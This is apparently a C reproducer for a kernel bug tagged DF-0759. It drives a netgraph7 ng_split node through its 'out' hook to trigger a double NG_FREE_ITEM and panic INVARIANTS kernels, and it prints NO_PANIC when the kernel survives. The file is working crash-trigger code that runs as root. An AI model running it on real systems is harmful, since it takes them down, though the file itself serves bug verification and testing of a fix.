DF-0759 / inject.c
/* * DF-0759 data injector — pushes a single mbuf onto a netgraph hook so it * arrives at the ng_split node's "out" hook, entering the out-hook branch * of ng_split_rcvdata() and triggering the double NG_FREE_ITEM. * * Uses libnetgraph (userland). The netgraph7 kernel socket implements the * same AF_NETGRAPH / ng_mesg ABI, so this works against a netgraph7 stack. * * Must run as root (netgraph socket is privileged). Run AFTER loading the * netgraph7 core + ng_socket7 + ng_split modules. * * NgMkSockNode(NULL, &csock, &dsock) -> create an unnamed socket node * NGM_MKPEER split: ourhook="tx" peerhook="out" * -> creates a "split" node, connects socket:tx <-> split:out * NgSendData(dsock, "tx", byte, 1) * -> mbuf delivered to split:out -> ng_split_rcvdata(hook=priv->out) * -> line 136 NG_FREE_ITEM(item) sets NGQF_FREE * -> line 144 if(item) [still non-NULL] -> line 145 NG_FREE_ITEM(item) * -> KKASSERT(!(NGQF_FREE)) FIRES -> panic on INVARIANTS kernels */ #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <stdarg.h> #include <netgraph.h> #include <netgraph/ng_message.h> static void mylog(const char *fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); fprintf(stderr, "\n"); } int main(void) { int csock = -1, dsock = -1; struct ngm_mkpeer mp; unsigned char byte = 'X'; int rc = 0; NgSetErrLog(mylog, mylog); /* Create an unnamed socket node; get control + data fds. */ if (NgMkSockNode(NULL, &csock, &dsock) < 0) { fprintf(stderr, "NgMkSockNode failed (is netgraph7 + ng_socket7 " "loaded?): %s\n", strerror(errno)); return 2; } fprintf(stderr, "[+] created socket node csock=%d dsock=%d\n", csock, dsock); /* Peer our "tx" hook to a new split node's "out" hook. */ memset(&mp, 0, sizeof(mp)); strlcpy(mp.type, "split", sizeof(mp.type)); strlcpy(mp.ourhook, "tx", sizeof(mp.ourhook)); strlcpy(mp.peerhook, "out", sizeof(mp.peerhook)); if (NgSendMsg(csock, ".:", NGM_GENERIC_COOKIE, NGM_MKPEER, &mp, sizeof(mp)) < 0) { fprintf(stderr, "NGM_MKPEER failed (is ng_split loaded?): %s\n", strerror(errno)); rc = 3; goto out; } fprintf(stderr, "[+] mkpeer split: socket:tx <-> split:out\n"); fprintf(stderr, "[*] sending 1 data byte onto split:out -> " "ng_split_rcvdata(out) -> double NG_FREE_ITEM\n"); fflush(stderr); /* Send one data byte on "tx" -> arrives at split:out. */ if (NgSendData(dsock, "tx", &byte, 1) < 0) { fprintf(stderr, "NgSendData failed: %s\n", strerror(errno)); rc = 4; goto out; } /* If we reach here, the kernel did NOT panic (e.g. INVARIANTS off, * or fix applied, or split node absent). */ fprintf(stderr, "[!] data sent; kernel still alive -> no panic\n"); printf("NO_PANIC\n"); out: if (csock >= 0) close(csock); if (dsock >= 0) close(dsock); return rc; } |